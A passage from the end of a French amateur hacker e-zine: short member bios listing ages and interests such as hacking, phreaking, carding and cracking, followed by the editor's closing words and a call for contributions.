de mieux nous connaître.
Alors voilà :
THOR : Age : 16
ans. 2ème membre. Spécialité : Hacking, phreaking, un peu de carding.
Bombes expérimentales et anarchie en générale. Il a écrit 9 articles pour le
group. Son site est en reconstruction.
JB34 : Age 17 ans. Spécialité : Hacking . Il a écrit 1
article pour ce group. www.go.to/jb34
B@BOUNE : Age : 15
ans. Spécialité : électronique, programmation et hacking (débutant). Il
bosse sur les émulateurs de T1G en ce moment. A de bonne connaissance en
électronique et s’intéresse au carding. Il a écrit 1 articles pour le group. www.chez.com/lesilicium
X-UNIX : Age : 25 ans, marie. Spécialité :Hacking,
sécurité, configuration de routeur cisco et de serveur redhat.... a encor écrit
aucun article pour le group mais j’espère qu’il le fera !!
MISS MOUSE : Age : 22 ans. Spécialité : programation en VB,
delphi, C++(small), Windev, power Basic Internet: html, java (small),
javascript, vbs, php, flash4. Aime surtout les protocols de communication (Socket rulez
:o) )
Système win 98SE, NT, 2000 , Linux . Aime aussi tout ce qui touche à la
securité. (C’est le programmeur du group :) ) A déjà écrit 10 programmes
pour le group.
QUANTUM : 19ans,étudiant. Spécialités: piratage de 'hardware' avec notamment
les 'T1G' ou encore lecteur-encodeur de carte magnétique (j'adore ces p'tites
cartes...), et toutes les boites ou y'a marqué 'FT'!, crack de logiciels
divers. Compétences: Electronik (discipline préférée et gérée!),programmation
en qbasic, vbasic, html, asm (x86 et microcontroleur 68hc,bientot Mac 131),truc
qu'a rien a voir avec le hack -> infographie (3DSMAX3, photoshop...)
Mentalité: phreaker...
Voilà! mon site : www.multimania.com\hugokernel (aucun rapport avec le hack!)
ROCKNESS : Age 16 ans. Spécialité :
Cracking, Hacking (débutant) et un peu de programmation. elle a pas encore
écrit d’article pour le group, j’espère qu’elle en écrira bientôt !?
NIKITA : Age 17 ans.
Spécialité : hacking. Niveau débutant. Mais a quand même quelques hacks a
son actif.
Mots de la fin
|
Bon, j’espère que ce zine
vous aura plus ?! j’espère que j’ai rectifier les quelques mécontentements
qu’il y avait eu pour le zine 3.Vous aurez remarquez le changement de format,
qui a été demander par quelques lecteurs. J’espère également que ce format vous
plais ?! Le zine n°5 n’est pas encore commencez alors il va falloir
attendre un peu. Si vous voulez que l’on aborde des sujets, si vous voulez
écrire pour le zine, si vous avez des remarques, critiques ou compliments et
bien maillez moi
Voilà, RDV au prochain
numéro.
@+
FIN